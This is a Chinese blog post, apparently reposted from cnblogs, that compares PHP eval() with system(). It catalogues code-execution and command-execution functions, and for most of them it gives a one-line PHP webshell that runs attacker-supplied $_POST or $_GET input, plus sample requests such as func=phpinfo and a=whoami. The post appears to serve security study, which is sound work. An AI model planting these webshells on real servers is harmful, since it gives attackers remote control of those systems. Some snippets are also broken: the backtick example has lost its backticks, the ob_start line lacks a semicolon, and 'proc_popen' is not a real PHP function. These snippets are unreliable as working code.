标签：func 函数 system 漏洞 代码执行 eval array

eval()函数和system()函数的比较

eval类型函数是代码执行而不是命令执行（一句话木马）

system类型函数是命令执行而不是代码执行

eval函数里必须是一个符合php语法的语句，如果语句结尾没有分号会报错：eval()'d code

<?php
    eval("echo 1+1;");    //2
    system("echo 1+1;");  //1+1;
?>

<?php
    $num=1;
    eval("\$a = $num;");    //有效,$a=1
    system("\$b = $num;");  //无效,$b=NULL  
?>

<?php
    eval("phpinfo();");   //phpinfo()被执行
    system("phpinfo()");  //phpinfo()不被执行
?>

<?php
    system("whoami");    //whoami命令被执行
	eval("whoami");      //whoami命令不被执行
?>

代码执行函数：

1-eval
<?php eval($_POST["cmd"]) ?>
2-assert

<?php assert($_POST["cmd"]) ?>
3-call_user_func

<?php

call_user_func($_POST["fun"],$_POST["para"])

?>

//post:fun=assert&para=phpinfo();
4-create_function

<?php

$a= $_POST['func'];

$b = create_function('$a',"echo $a");

$b('');

?>

//post:func=phpinfo();
5-array_map

<?php

$array = array(0,1,2,3,4,5);

array_map($_GET['func'],$array);

?>

//post:func=phpinfo

命令执行函数：

1-system
<?php system($_POST["cmd"]);?>
2-passthru

<?php passthru($_POST["cmd"]);?>
3-exec

<?php echo exec($_POST["cmd"]);?>
4-pcntl_exec

<?php

pcntl_exec("/bin/bash",array($_POST["cmd"]));

?>
5-shell_exec

<?php echo shell_exec($_POST["cmd"]); ?>
6-popen()/proc_popen()

<?php $handle = popen("/bin/ls","r");?>
7-``

<?php echo whoami?>
8-

<?php

$cmd = 'system';

ob_start($cmd)

echo "$_GET[a]";

ob_end_flush();

?>

//?a=whoami

标签：func,函数,system,漏洞,代码执行,eval,array
来源： https://www.cnblogs.com/NoCirc1e/p/16275602.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。